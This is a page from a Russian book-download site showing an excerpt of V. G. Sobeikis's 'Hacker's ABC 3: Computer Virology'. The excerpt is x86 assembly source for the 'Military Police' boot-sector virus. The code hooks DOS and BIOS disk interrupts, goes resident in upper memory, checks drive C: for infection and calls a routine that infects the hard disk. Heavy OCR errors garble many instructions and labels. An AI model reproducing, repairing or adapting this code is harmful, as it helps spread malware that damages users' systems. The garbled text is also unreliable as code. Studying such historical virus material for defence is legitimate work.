Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 86 87 88 89 90 91 < 92 > 93 94 95 96 97 98 .. 123 >> Следующая

mov si,84H ;иначе приступить к перехвату
mov ах,[si+2] ;получить сегмент вектора int 21 h
mov di,OFFSET OLD_21H
movsw '.установить OLDJ21H
movsw
mov [sM],OFFSETWr_21H установить новый вектор ht21h mov [si-2],cs mov
cs:[HOOK21],1 121 HX:
pop ax pop dx pop di pop si pop ds pop es 121 HR: ret
HOOK21 DB 0 ;флаг, чтобы видеть, является ли 21Н уже ;перехваченным
(1=да)
Модуль MPJBOOT.ASM
Это замена (вирусная) загрузочного сектора ORG7COOH ; Начальная локация
для загрузочного сектора BOOT_START:
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jmp SHORT BOOT ; прыжок через область данных db 090Н дополнительный байт
для ближнего прыжка
BOOT_DATA:
BSJD DB ' ;id для зафузочного сектора
BS_BYTES_PER_SEC DW ? ; байтов на сектор
BS_SECS_PER_CLUST DB ? ;секторов на кластер
BS_RESERVED_SECS DW ? ; резервные секторы в начале диска BS_FATS DB ?
;копии FAT на диске BS_DIR_ENTRIES DW ? ;число записей в корневой
директории BS_SECTORS_ON_DISK DW ? ;полное число секторов на диске
BS_FORMATJD DB ? ;id формата диска BS_SECS_P№_FAT DW ? ;число секторов на
FAT BSJ5EK5_PER_TRACK CW ? ;число секторов на трек (одна головка)
BS_HEADS DW ? ;число головок на диск
BS_DBT DB 34 dup (?)
;The following are for the virus' use VIRCX dw 0 ;cx и dx для
тр./сек./гол./диск локации VIRDX dw 0 ;вируса
Код загрузочного сектора начинается здесь:
BOOT:
cli прерывания отключены
хог ах.ах mov ss.ax mov ds.ax
mov es.ax ;устанавливаем сегментные регистры mov sp,OFFSET BOOT_START ;и
указатель стека
sti
07(S
ГЛАВА 7. Многоцелевые вирусы
mov cl,6 ;готовимся к конвертированию кб в сегменты
mov ax,[MEMSIZE] ;получаем размер доступной памяти
shl ах,cl конвертируем килобайты в сегменты
sub ах,7Е0Н" ;отнимаем столько, чтобы этот код имел
mov es.ax травильный офсет для становления
sub [MEMSIZE],(VIR_SIZE+3)/2 ;резидентом памяти в
; верхней ram
GO_RELOC:
mov si,OFFSET BOOT START ;усганавливаем ds:si и es:di, чтобы
mov di.si ;перенести этот код в верхнюю
mov сх,256 ;память и
rep movsw ;передвинуть этот сектор
push es
mov ах,OFFSET RELOC
push ax ;вталкиваем в стек новый дальний @RELOC
retf ;и переходим туда с помощью retf RELOC: ;теперь мы в верхней
памяти
push es ;поэтому инсталлируем вирус pop ds
mov bx.OFFSET BBS устанавливаем буфер для чтения вируса mov cx,[VIRCX]
mov dx,[VIRDX]
mov si,VIR_SIZE+1 ;читаем секторы VIR_SIZE+1
LOAD1:
push si
mov ax,0201H -.читаем секторы VIR_SIZE+1 int 13h -.вызываем BIOS, чтобы
прочитать его pop si
jc LOAD1 ;повтор попытки на случай неудачи
add bx,512 -.инкрементируем буфер чтения inc cl ;готовимся сделать
следующий сектор
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cmp d.BVTE PTR [BS_SECS_PER_TRACK] .послед ний сектор на трене? jbe LOAD2
;нет, продолжаем mov cl,1 ;да, установить сектор= 1
inc dh ; пробуем следующий блок
cmp dh.BYTE PTR [BSHEADS] последний?
jb LOAD2 ;нет, продолжаем
xor dh.dh ;да, установить side=0
inc ch ' .инкрементировать счет треков
LOAD2: dec si jnz LOAD1
MOVE_OLD_BS:
xor ах.ах ;переносим старый зафузочный сектор в
mov es.ax ;нижнюю память
mov si.OFFSET SCRATCHBUF ;в0000:7С00
mov di,OFFSET BOOT_START
mov cx,256
rep movsw
SET_SEGMENTS: ;изменить сегмент
cli
mov ax.cs mov ss.ax
mov sp,OFFSET BBS :установить стек для вируса sti
push cs ; и также регистр es
pop es
INSTALLJNT13H: ; перехватить дисковое BIOS-прерывание xor ax,ax
mov ds.ax
mov si, 13H*4 дохранить старый вектор int 13h
0-70
ГЛАВА 7. Многоцелевые вирусы
mov di,OFFSET OLD_13H
movsw
movsw
mow ds:[si-4]1OFFSET INT13H ггеперь использовать его опжада mov ds:[si-
2],es
mov si,46CH .сохраняем LOAD_TIME
mov di,OFFSET LOAD TIME
movsw
movsw
CHECK_DRIVE:
push cs .устанавливаем ds, чтобы указывал сюда pop ds
mov [HOOK21 ] ,0 ;обнуляем эти переменные
mov [FILE_FND],0 mov [LOWMEM],0 mov dx,[VIRDX]
cmp dl.BOH ;если загрузка с жесткого диска, jz DONE ;ничего, кроме
требуемого для загрузки FLOPPYJDISK: ;если загрузка с дискеты,
смотрим,
call IS_HARD_THERE ;существует ли жесткий диск jz DONE ;жесткого диска
нет, загрузка выполнена mov ах,201Н
mov bx,OFFSET SCRATCHBUF mov сх,1 mov dx,80H
pushf
call DWORD PTR [OLD_13H]
call IS.VBS ;смотрим, заражен ли С:?
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jz DONE ;да, загрузка выполнена
call INFECT_HARD ;иначе, инфицировать жесткий диск С:
DONE:
хог ах.ах выполнить старый загрузочный сектор
push ах ;в 0000:7С00
mov ах,OFFSET BOOT_START
push ах
retf
END_BS_CODE:
ORG 7DBEH
PART: DB 40Hdup(?) .таблица разделов переходит сюда ORG 7DFEH
DB 55H.0AAH ;id загрузочного сектора переходит сюда
ENDCODE: ;метка для конца загрузочного сектора
Модуль MPJNT21H.ASM
INT21H.ASM - это модуль, работающий с вирусом МР. Перехватчик прерывания
21Н для вируса Military Police:
LOWMEM DB 0 .флаг уже указывает на нижнюю память EXE_HDRDB 1CHdup(?)
;буфер для заголовка ЕХЕ-файла FNAME DB 12 dup (0)
FSIZE DW 0,0
LOAD_TIME DD ? ;время старта для вируса
Следующие 10 байтов должны оставаться вместе, так как они являются
образом 10 байтов из заголовка ЕХЕ-файла:
Предыдущая << 1 .. 86 87 88 89 90 91 < 92 > 93 94 95 96 97 98 .. 123 >> Следующая